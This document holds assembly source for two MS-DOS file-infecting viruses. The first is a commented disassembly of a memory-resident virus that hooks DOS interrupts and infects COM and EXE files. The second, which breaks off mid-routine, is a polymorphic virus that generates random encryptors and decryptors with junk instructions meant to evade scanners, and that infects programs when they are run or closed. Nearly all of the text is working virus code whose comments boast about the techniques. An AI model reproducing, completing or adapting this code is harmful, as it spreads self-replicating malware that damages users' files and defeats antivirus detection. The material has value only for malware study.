;ÛÛ Passes: 5 Analysis Options on: ABCDEFPX ÛÛ
;ÛÛ ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 0 ; (6B7E:0000=0)
data_2e equ 2 ; (6B7E:0002=0)
data_4e equ 0F1h ; (6B7E:00F1=0)
data_17e equ 499h ; (6C11:0499=0)
data_18e equ 49Bh ; (6C11:049B=0)
data_19e equ 49Dh ; (6C11:049D=0)
data_20e equ 49Fh ; (6C11:049F=0)
data_21e equ 4B8h ; (6C11:04B8=0)
;-------------------------------------------------------------- seg_a ----
seg_a segment para public
assume cs:seg_a , ds:seg_a , ss:stack_seg_c
db 256 dup (0)
db 8Ch, 0C8h, 8Eh, 0D8h, 0BAh, 10h
db 1, 0B4h, 9, 0CDh, 21h, 0B8h
db 0, 4Ch, 0CDh
db '!This is a test', 0Ah, 0Dh, '$'
db 1807 dup (0)
seg_a ends
;-------------------------------------------------------------- seg_b ----
seg_b segment para public
assume cs:seg_b , ds:seg_b , ss:stack_seg_c
db 241 dup (0)
db 4Fh, 4Dh
db 9 dup (20h)
db 0, 0, 0, 0
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; Program Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
prob proc far
start:
jmp short loc_3 ; (0137)
data_10 dw 5A4Dh
db 21h, 1, 6, 0, 0, 0
db 20h, 0, 0, 0, 0FFh, 0FFh
data_11 dw 0
data_12 dw 0
db 0BBh, 0DDh
data_13 dd 00100h
db 'COMMAND.COM'
db 0
prob endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near ; °®¢¥°¿¢  ¤ «¨ ¥ EXE
cmp cs:data_10,4D5Ah ; (6C11:0102=5A4Dh)
je loc_ret_2 ; Jump if equal
cmp cs:data_10,5A4Dh ; (6C11:0102=5A4Dh)
loc_ret_2:
retn
sub_1 endp
loc_3:
mov cs:data_19e,ds ; (6C11:049D=0)
push ax
mov ax,0EC59h ; °®¢¥°¿¢  ¤ «¨ ¥ ¨­±² «¨° ­
int 21h ; DOS Services ah=function ECh
cmp bp,ax ; €ª® AX<>BP ­¥ ¥ ¨­±² «¨° ­
jne loc_6
push cs
pop ds
loc_4:
pop ax
mov es,cs:data_19e ; (6C11:049D=0)
call sub_1 ; (COM/EXE)?
jz loc_5 ; Jump if zero
mov cx,0Dh ; ‚º§±² ­®¢¿¢  COM
mov si,102h
push es
mov di,100h
push di ; °¥¬¥±²¢  ¯º°¢¨²¥ 13 ¡ ©² 
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
push es
pop ds ; °¥µ®¤ ªº¬ ¯°®£° ¬ ² 
retf ; Return far
loc_5:
mov si,es ; ‚º§±² ­®¢¿¢  EXE
add si,10h
add word ptr cs:data_13+2,si; ’®¢  ¥ ®²¬¥±²¢ ­¥²® ­  CS
add si,cs:data_11 ; ’®¢  ¥ ®²¬¥±²¢ ­¥²® ­  SS
mov di,cs:data_12 ; ’®¢  ¥ ®²¬¥±²¢ ­¥²® ­  SP
push es
pop ds
cli ; Disable interrupts
mov ss,si
mov sp,di
sti ; Enable interrupts
jmp cs:data_13 ; °¥µ®¤ ªº¬ ¯°®£° ¬ ² 
loc_6:
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov dx,bx
push es
pop ds
mov ax,25ECh ; °¥¬¥±²¢  INT 21H ­  INT ECH
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,cs:data_19e ; (6C11:049D=0)
mov es,ax
dec ax
mov ds,ax
mov bx,word ptr ds:data_2e+1 ; (6B7E:0003=0)
sub bx,65h
add ax,bx
mov es:data_2e,ax ; (6B7E:0002=0)
mov ah,4Ah ; 'J'
int 0ECh
mov bx,64h
mov ah,48h ; 'H'
int 0ECh
sub ax,10h
mov es,ax
mov byte ptr ds:data_1e,5Ah ; (6B7E:0000=0) 'Z'
push cs
pop ds
mov si,100h
mov di,si
mov cx,39Fh
nop ; °¥¬¥±²¢  ±¥ ¢º¢ ¢¨±®ª¨²¥  ¤°¥±¨
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov di,1D0h
push es
push di
retf ; Return far
mov word ptr es:data_4e,70h ; (6B7E:00F1=0)
mov ax,3521h ;(??) ’ §¨ ¨­±²°³ª¶¨¿ ¬®¦¥ ¤  ±¥ ®¯²¨¬¨§¨° 
int 0ECh
mov cs:data_15,bx ; (6C11:0216=12E4h)
mov cs:data_16,es ; (6C11:0218=12Eh)
mov ah,25h ; '%'
mov dx,201h
push cs
pop ds
int 0ECh ; °¥µ¢ ¹  ¢¥ª²®°  ­  INT 21H
push cs
pop es
mov di,49Fh
mov cx,19h
mov al,0 ; ³«¨°  19h ¡ ©²  ±«¥¤ ª° ¿
rep stosb ; Rep when cx >0 Store al to es:[di]
jmp loc_4 ; ‚º§±² ­®¢¿¢  ¯°®£° ¬ ² 
loc_7:
mov bp,ax ; ’®¢  ¥ ´³­ª¶¨¿ ECH
iret ; Interrupt return
cmp ax,0EC59h ; ‚•Ž„€ ’Ž—Š€ € INT 21H
je loc_7 ; Jump if equal
cmp ax,4B00h
je loc_9 ; Jump if equal
cmp ah,3Dh ; '='
je loc_11 ; Jump if equal
cmp ah,3Eh ; '>'
je loc_13 ; Jump if equal
loc_8:
jmp far ptr loc_1 ;*(012E:12E4)
loc_9:
call sub_2 ; (028B)
jmp short loc_8 ; (0215)
loc_10:
pop cx
jmp short loc_8 ; (0215)
loc_11:
push cx
call sub_6 ; (040E)
jc loc_10 ; Jump if carry Set
cmp cx,20h
pop cx
jnz loc_8 ; Jump if not zero
mov al,2
pushf ; Push flags
call dword ptr cs:[216h] ; (6C11:0216=12E4h)
jc loc_ret_12 ; Jump if carry Set
push ax
push bx
mov bx,ax
mov al,cs:data_21e ; (6C11:04B8=0)
mov cs:data_20e[bx],al ; (6C11:049F=0)
pop bx
pop ax
loc_ret_12:
retf 2 ; Return far
loc_13:
cmp byte ptr cs:data_20e[bx],0 ; (6C11:049F=0)
je loc_8 ; Jump if equal
push ax
mov al,cs:data_20e[bx] ; (6C11:049F=0)
mov cs:data_21e,al ; (6C11:04B8=0)
mov byte ptr cs:data_20e[bx],0 ; (6C11:049F=0)
mov ah,45h ; 'E'
int 0ECh
mov cs:data_19e,ax ; (6C11:049D=0)
pop ax
jc loc_8 ; Jump if carry Set
pushf ; Push flags
call dword ptr cs:[216h] ; (6C11:0216=12E4h)
jc loc_ret_12 ; Jump if carry Set
push bx
mov bx,cs:data_19e ; (6C11:049D=0)
push ds
call sub_3 ; (02BB)
call sub_4 ; (02DC)
call sub_5 ; (03FA)
pop ds
pop bx
clc ; Clear carry flag
retf 2 ; Return far
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
push ax
push bx
push cx
call sub_6 ; (040E)
jc loc_16 ; €ª® ­¥ ¥ ¨§¯º«­¨¬ ¨§µ®¤
push cx
push ds
call sub_3 ; °¥­ ±®·¢  INT 24H
pop ds
mov ax,4301h
xor cx,cx ; Zero register
int 0ECh ; °®¬¥­¿  ²°¨¡³²¨²¥
jc loc_14 ; Jump if carry Set
mov ax,3D02h ; ޲¢ °¿ £® §  ·¥²¥­¥
int 0ECh
mov bx,ax
loc_14:
pop cx
jc loc_15 ; €ª® ¨¬  £°¥¸ª  ¨§µ®¤
call sub_4 ; (02DC)
mov ax,4301h
int 0ECh
loc_15:
call sub_5 ; (03FA)
loc_16:
pop cx
pop bx
pop ax
retn
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near ; °¥­ ±®·¢  INT 24H
push ax
push dx
push bx
push es
mov ax,3524h
int 0ECh
mov cs:data_17e,bx ; (6C11:0499=0)
mov cs:data_18e,es ; (6C11:049B=0)
pop es
pop bx
push cs
pop ds
mov dx,469h
mov ah,25h
int 0ECh ; °¥­ ±®·¢  INT 24H
pop dx
pop ax
retn
sub_3 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
push ax
push cx
push dx
push si
push di
push ds
mov di,102h
mov cx,0FFFFh
mov dx,0FFFAh
mov ax,4202h
int 0ECh ; °¥¬¥±²¢  ³ª § ²¥«¿ ¢ ª° ¿
mov ah,3Fh ; '?'
mov cx,6
push cs
pop ds
mov dx,di
int 0ECh ; —¥²¥ 6 ¡ ©² 
jc loc_17 ; Jump if carry Set
cmp word ptr cs:[di],4E41h ; °®¢¥°¿¢  ¤ «¨ ¥ § ° §¥­
je loc_17 ; Jump if equal
xor cx,cx
xor dx,dx
mov ax,4200h
int 0ECh ; °¥¬¥±²¢  FP ¢ ­ · «®²®
mov ah,3Fh ; ®¬¥±²¥¢  ¯º°¢¨²¥ 18h ¡ ©² 
mov cx,18h ; ®² CS:100
mov dx,di
int 0ECh ; —¥²¥ ¯º°¢¨²¥ 18h ¡ ©² 
jnc loc_18 ; Jump if carry=0
loc_17:
jmp loc_27 ; (03E6)
loc_18:
xor cx,cx ; Zero register
xor dx,dx ; Zero register
cmp byte ptr cs:data_21e,2 ; (6C11:04B8=0)
jne loc_19 ; Jump if not equal
cmp word ptr [di+1],4000h
ja loc_17 ; Jump if above
dec cx
mov dx,0C0h
sub dx,499h
loc_19:
mov ax,4202h ; °¥¬¥±²¢  FP ¢ ª° ¿ ­  ´ ¨« 
loc_20:
int 0ECh
test ax,0Fh
jz loc_21 ; Jump if zero
mov cx,dx ; ‡ ª°º£«¿ ¤® 16
mov dx,ax
add dx,10h
adc cx,0
and dl,0F0h
mov ax,4200h ; °¥¬¥±²¢  ­  § ª°º£«¥­¨¿
jmp short loc_20 ; (0339)
loc_21:
call sub_1 ; (0126)
jz loc_23 ; ” ¨«º² ¥ EXE
or dx,dx ; Zero ?
jnz loc_17 ; Jump if not zero
cmp ax,400h
jae loc_22 ; Jump if above or =
jmp loc_27 ; (03E6)
loc_22:
cmp ax,0FA00h
ja loc_27 ; Jump if above
loc_23:
mov cl,4
shr ax,cl ; Shift w/zeros fill
mov si,ax
mov cl,0Ch
shl dx,cl ; Shift w/zeros fill
add si,dx ; ®«³· ¢  ¤º«¦¨­ ²  ¢ ¯ ° £° ´¨
mov ah,40h ; ‡ ¯¨±¢  399h ¡ ©² 
mov dx,100h
mov cx,399h
nop
int 0ECh
jc loc_27 ; Jump if carry Set
call sub_1
jnz loc_25 ; Jump if not zero
sub si,10h
sub si,cs:[di+8] ; Š®°¨£¨°  ¯°¥´¨ª± 
mov word ptr cs:[di+14h],100h
mov cs:[di+16h],si
mov word ptr cs:[di+10h],400h
add si,44h
nop
mov cs:[di+0Eh],si
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 0ECh ; ‚§¥¬  ¤º«¦¨­ ² 
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
or dx,dx ; Zero ?
jz loc_24 ; Jump if zero
inc ax
loc_24:
mov cs:[di+2],dx ;°®¬¥­¿ ¤º«¦¨­ ²  ¢ ¯°¥´¨ª± 
mov cs:[di+4],ax
jmp short loc_26 ; (03D4)
loc_25:
push si
push di
push es
push cs
pop es
mov si,46Ch
mov cx,0Bh
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
pop es
pop di
pop word ptr [di+0Bh]
loc_26:
mov ax,4200h ; °¥¬¥±²¢  FP ¢ ­ · «®²®
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 0ECh
mov ah,40h ; ‡ ¯¨±¢  ¯º°¢¨²¥ 16h ¡ ©² 
mov cx,18h
mov dx,di
int 0ECh
loc_27: ; ‚§¥¬  ¤ ² ²  ¬³ ¨ ¿ § ¯¨±¢ 
mov ax,5700h
int 0ECh
mov al,1
int 0ECh
mov ah,3Eh ; ‡ ²¢ °¿ ´ ¨« 
int 0ECh
pop ds
pop di
pop si
pop dx
pop cx
pop ax
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near ; ‚º§±² ­®¢¿¢  INT 24H
push ax
push dx
push ds
mov ax,2524h
mov dx,cs:data_17e ; (6C11:0499=0)
mov ds,cs:data_18e ; (6C11:049B=0)
pop ds
pop dx
pop ax
retn
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near ; ‡ ¯ §¢  °¥£¨±²°¨²¥
push ax
push es
push di
push bx
mov di,dx
push ds
pop es
mov al,0
mov cx,40h ; ’º°±¨ ª° ¿² ­  ¨¬¥²® ­  ´ ¨« 
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
mov ax,[di-3]
mov cx,[di-5]
and ax,5F5Fh
and ch,5Fh
cmp ax,4D4Fh ;(COM)?
jne loc_29
cmp cx,432Eh
je $+10h ; Jump if equal
loc_28:
stc ; Set carry flag
jmp short $+2Fh
loc_29:
cmp ax,4558h
jne loc_28 ; Jump if not equal
cmp cx,452Eh
sub_6 endp
seg_b ends
;--------------------------------------------------------- stack_seg_c ---
stack_seg_c segment para stack
db 75h, 0F2h, 0B9h, 7, 0, 0BBh
db 0FFh, 0FFh, 43h, 8Ah, 41h, 0F4h
db 24h, 5Fh, 2Eh, 3Ah, 87h, 1Ah
db 1, 0E1h, 0F3h, 0B0h, 1, 75h
db 2, 0B0h, 2, 2Eh, 0A2h, 0B8h
db 4, 0B8h, 0, 43h, 0CDh, 0ECh
db 5Bh, 5Fh, 7, 58h, 0C3h, 0B0h
db 3, 0CFh, 50h, 8Ch, 0C8h, 1
db 6, 0Bh, 1, 58h, 0EAh, 0
db 1
db ' Dark Lord, I summon thee!'
db 0
db 4Dh, 41h, 4Eh, 4Fh, 57h, 41h
db 52h
db 935 dup (0)
stack_seg_c ends
end start

+883
View File
@@ -0,0 +1,883 @@
.model tiny
.code
.386
code_size equ code_end-code_start
filecodelength equ filecodeend-code_start
org 100h
code_start:
start:
call StartDecryptSimple
SimpleCryptStart:
call InstallVirus ; Call Install routine
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+ Following code randomly creates an encryptor and a matching :+
;+ decryptor. :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
WriteVirus:
push bx ; Save filehandle
in ax,40h ; Get random
;+:+:+:+:+:+:+Create random values to use in instructions+:+:+:+:+:+:+:
mov si,offset Rand1a ; First random in decryptor OP-codes
mov di,offset Rand1b ; First random in encryptor OP-codes
mov cx,5 ; 7*2 OP-codes to change
SetRandom:
mov [si],al
mov [di],al
add si,4 ; Next OP-code
add di,4 ; -----"-----
xor ax, 'P'-'O'-'O'-'R' ; Generate...
rol ax,5 ; ..new...
xor ax,'R'-'E'-'B'-'O'-'U'-'N'-'D' ; random
loop SetRandom
;+:+:+:+:+:+: Copy instructions from ENCode and DECode :+:+:+:+:+:+:+:
CreateCode:
push cs
pop es
mov cx,13 ;Counter, max 13 sequences
mov di,offset CCode1
mov si,offset DECode
mov word ptr ds:[CLength],0h ;Length of decryptor
CreateLoop:
mov si,offset DECode
in ax,40h ; Get random
ror ax,cl
xor ax,'I'-'M'-'M'-'O'-'R'-'T'-'A'-'L'
sub ax, 'R'-'I'-'O'-'T'
push ax ;Save for later use
mov bl,al
and bl,15 ;Mask only 0-15
shl bl,2 ;mul 4 to get right offset
xor bh,bh
add si,bx ;Get right OP-code
movsd ;move one inst (4 bytes)
std ;count backwards
push cx
push di ;Move code in CCode one inst
push si ;forward, so next inst could
mov si,offset CCode2+13*4 ;be first.
mov di,offset CCode2+14*4
mov cx,14
rep movsd
pop si
mov di,offset CCode2
cld
cmp bl,29 ;Should we use alt. encrypt?
jnb short Garbage ;No, just garbage-instructions
add si,ENCode-DECode-4 ;Get right pos in ENCode
movsd ;move one inst (4 bytes)
sub si,ENCode-DECode ;Back to old pos in DECode
jmp short NoGarbage
Garbage:
sub si,4 ;Same instructions again
movsd
NoGarbage:
pop di
pop cx
add word ptr ds:[CLength],4 ;Add length of decryptor
pop ax ;Get random value again
and ax,128+64 ;Leave de/encryptor like this?
jz short QuitLoop
loop CreateLoop
QuitLoop:
;+:+:+: Build the first instruction in decryptor (mov cx,??) :+:+:+:+:
xor ax,ax
in al,40h ; Another random
xor al,'A'
and al,7 ;Random between 0 and 7
mov byte ptr ds:[InitCX1],0b9h ;OP-Code for mov cx,?
mov bx,filecodelength
add bx,ax
mov word ptr ds:[InitCX1+1],bx ;Value to put in CX (counter)
;+:+:+: Build to second instruction (mov si, offset codestart) :+:+:+:+:
mov byte ptr ds:[InitSI1],0beh ;OP-Code for mov si,?
mov ax,[entry_p] ;EntryPoint
add ax,word ptr ds:[CLength] ;Length of cryptlines
add ax,15 ;size of rest of loop
add ax,[IPOffs] ;Then add 100h
NoCom: mov word ptr ds:[InitSI1+1],ax ;Value to put in CX (counter)
;+:+:+: Build the instruction that increase SI :+:+:+:+:
and bl,2 ; Get random for inc si
shl bl,2 ; mul 4
mov bh,0
mov si,offset DEcSI
add si,bx ; Get pos in ADD-SI-alts.
movsd
;+:+:+: Build the loop-instruction :+:+:+:+:
mov ah,0ffh
sub ah,[CLength] ; Calculate loop operand
sub ah,5
mov al,0e2h ; OP-code for loop
mov [di],ax ; Write loop command
;+:+:+: Write RET at end of encryptionroutine :+:+:+:+:
mov di,offset CCode2 ; Encryptionroutine
add di,word ptr ds:[Clength] ; Find end of ER
mov byte ptr ds:[di],0c3h ; Write a RET
;+:+:+: Write created loader to file :+:+:+:+:
pop bx ; Get filehandle
mov ah,40h ; Function WRITE
mov cx,word ptr ds:[CLength]
add cx,12
mov dx,offset InitCX1
int 21h ; Write decryptor to file
mov word ptr ds:[File_H],bx
;+:+:+:+: Cahnge decryptor so code could use it (put ret instead of inc)
mov di,offset CCode1 ; Encryptionroutine
add di,word ptr ds:[Clength] ; Find end of ER
mov byte ptr ds:[di],0c3h ; Write a RET
;+:+:+:+: Copy enc&dec-call-routine to end of virus :+:+:+:+:
mov si,offset ED_start ; Start of ED-routine
mov di,offset ED_buf ; buffer beyond virus
mov cx,ED_End-ED_start ; Size of ED-routine
rep movsb
call filecodeend ; Call copy
ret
;------ Routine to Encrypt virus, write virus, and decrypt virus
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+ Following code will be copied to memory beyond the virus, :+
;+ and then called. The routine then calls the created :+
;+ encryptor, writing the encrypted virus the the file and :+
;+ then uses the modified decrytor to decrypt the virus again. :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
ED_start:
;+:+:+: Create RandomValue for simple enc/decryptor +:+:+:+
in al,40h
mov byte ptr cs:[DSRan],al
;+:+:+: Encrypt virus, using simple encryptor :+:+:+:+
mov ax,offset EncryptDecryptSimple
call ax
;+:+:+: Encrypt virus, using created encryptor :+:+:+:+
mov si,0100h ; Start of viruscode
mov cx,filecodelength
encloop:
mov ax,offset CCode2 ; offset to created enc-routine
call ax ; call it
inc si
loop encloop ; Encrypt whole virus
;+:+:+: Write encrypted virus to file :+:+:+:+
mov bx,word ptr ds:[File_H] ; Get filehandle
mov ah,40h ; Function WRITE
mov cx,filecodelength
mov dx,0100h
pushf
push cs ; Fake interrupt call
call DoOldInt
;+:+:+: Decrypt virus, using created encryptor :+:+:+:+
mov si,0100h ; Start of viruscode
mov cx,filecodelength
decloop:
mov ax,offset CCode1
call ax ; Call builded encryptroutine
inc si
loop decloop
;+:+:+: Decrypt virus, using simple decryptor :+:+:+:+
mov ax,offset EncryptDecryptSimple
call ax
;+:+:+: Write random number of extra bytes to file (0-15) :+:+:+:+
mov bx,word ptr ds:[File_H] ; Get filehandle
in ax,40h ; Get random in al
mov ds,ax ; Read from random segment
and ax,0fh ; mask bit 0-3
mov cx,ax ; No. bytes to write
mov ah,40h
add word ptr cs:[CLength],cx ; add length (must know this
xor dx,dx ; when creating EXE-header).
pushf
push cs ; Fake interrupt call
call DoOldInt
push cs ; Push back codeseg in DS
pop ds
ret
DoOldInt:
sti
db 0eah
OldInt dd 0
ED_End:
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+ Following table contains 16 different 4-byte codesqeunces, :+
;+ randomly used by the decryptionroutine. The first 8 affects :+
;+ the decryption algoritm, and has a matching 4-byte inst- :+
;+ ruction in the ENCode-table. The rest is just garbage- :+
;+ instructions, used to make scanning harder. The morpher :+
;+ will pick a random number (1-16) of these instructions, :+
;+ and build the decryption routine. :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
DECode db 02eh,080h,004h ; add byte ptr cs:[si],?
Rand1a db ?
db 02eh,080h,02ch ; sub byte ptr cs:[si],?
Rand2a db ?
db 02eh,080h,034h ; xor byte ptr cs:[si],?
Rand3a db ?
db 02eh,0C0h,004h ; rol byte ptr cs:[si],?
Rand4a db ?
db 02eh,0C0h,00Ch ; ror byte ptr cs:[si],?
Rand5a db ?
db 02eh,0feh,00ch,090h ; dec byte ptr cs:[si]; nop
db 02eh,0feh,004h,090h ; inc byte ptr cs:[si]; nop
db 02eh,0f6h,01ch,090h ; neg byte ptr cs:[si]; nop
;-------The rest is just bullshit, used to confuse scanners
db 053h,08bh,0dch,05bh ; push bx; mov bx,sp; pop bx
db 093h,043h,090h,043h ; xchg bx,ax; inc bx; nop; inc bx
db 040h,08ah,0c4h,048h ; inc ax; mov al,ah; dec ax
db 08ch,0c8h,056h,05fh ; mov ax,cs; push si; pop di;
db 074h,000h,075h,000h ; je $+2; jne $+2;
db 08Bh,0c3h,02bh,0d8h ; mov ax,bx; sub ax,bx
db 003h,0feh,02ch,002h ; add di,si; sub al,2
db 0ebh,001h,0b4h,090h ; jmp $+3; mov ah,90h (b4h + nop)
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+ Following table contains the encryptionversions of the :+
;+ first 8 instructions in the DECode-table. :+
;+ SUB will be ADD, ROR will be ROL etc. :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
ENCode db 02eh,080h,02ch ; sub byte ptr cs:[si],?
Rand1b db ?
db 02eh,080h,004h ; add byte ptr cs:[si],?
Rand2b db ?
db 02eh,080h,034h ; xor byte ptr cs:[si],?
Rand3b db ?
db 02eh,0C0h,00Ch ; ror byte ptr cs:[si],?
Rand4b db ?
db 02eh,0C0h,004h ; rol byte ptr cs:[si],?
Rand5b db ?
db 02eh,0feh,004h,090h ; inc byte ptr cs:[si]; nop
db 02eh,0feh,00ch,090h ; dec byte ptr cs:[si]; nop
db 02eh,0f6h,01ch,090h ; neg byte ptr cs:[si]; nop
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+ Following table contains four different ways to increase :+
;+ SI. Used only in the DECode-routine (CCode1). :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
DEcSI db 083h,0c6h,001h,090h ; add si,1; nop
db 046h,033h,0dbh,0f8h ; inc si; xor bx,bx; clc
db 04eh,046h,046h,0f9h ; dec si; inc si; sinc si; stc
db 083h,0c6h,002h,04eh ; add si,2; dec si
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+ Other data :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
CLength db ? ; Length of decryptor
db ?
ComExe db 0 ; 0=Com, 1=Exe
buffer db 0c3h ; Buffer contains original 3 bytes of
orgep dw 0 ; COM-file. 03ch (RET) will exit program
; in normal DOS. Used only first time.
buffer2 db 0e9h ; JMP OP-code, used to build COM-jump
entry_p dw 0 ; Entrypoint, part of JMP-instruction
Real_CS dw 0
Real_IP dw 0
Real_SS dw 0
Real_SP dw 0
IPOffs dw 100h ; Start offset (100h for comfiles)
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+ INT 21h Entrypoint. Check if virus is calling, and if file :+
;+ should be infected. :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
NewVect:
cmp ax,0DCBAh ; Is virus calling?
jne Notvirus
mov dx,ax
iret
Notvirus:
cli ; Clear Interrupts
cld ; Clear Direction
cmp ah,3eh ; Is file going to be closed?
je Short FileClose
cmp ax,4b00h ; Is file going to be executed?
je Short FileExecute
jmp DoOldInt
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+ Following code is called when a file is going to be executed. :+
;+ The file will be opened, and then closed. When the file is :+
;+ closed, the virus will call itself by INT21/3Eh, and the file :+
;+ will be infected. Pretty smart, eh? :) :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
FileExecute:
pusha
mov ax,3d00h ; Open file for ReadOnly
int 21h
mov bx,ax ; Filehandle in bx
mov ah,3eh
int 21h ; Close file (infect file :))
popa
jmp DoOldInt
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
;+ Following code is called when a file is going to be closed. :+
;+ The code uses INT2F/1220h to get the adress of JFT-entry, :+
;+ and then INT2F/1216h to get adress of SFT. :+
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
FileClose:
cmp bx,5 ; Is it a standard device?
jb DoOldInt
push ds
push es
pusha
push bx
mov ax,1220h ; Table in es:di
int 2fh
mov ax,1216h
mov bl,byte ptr es:[di]
int 2fh
pop bx
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
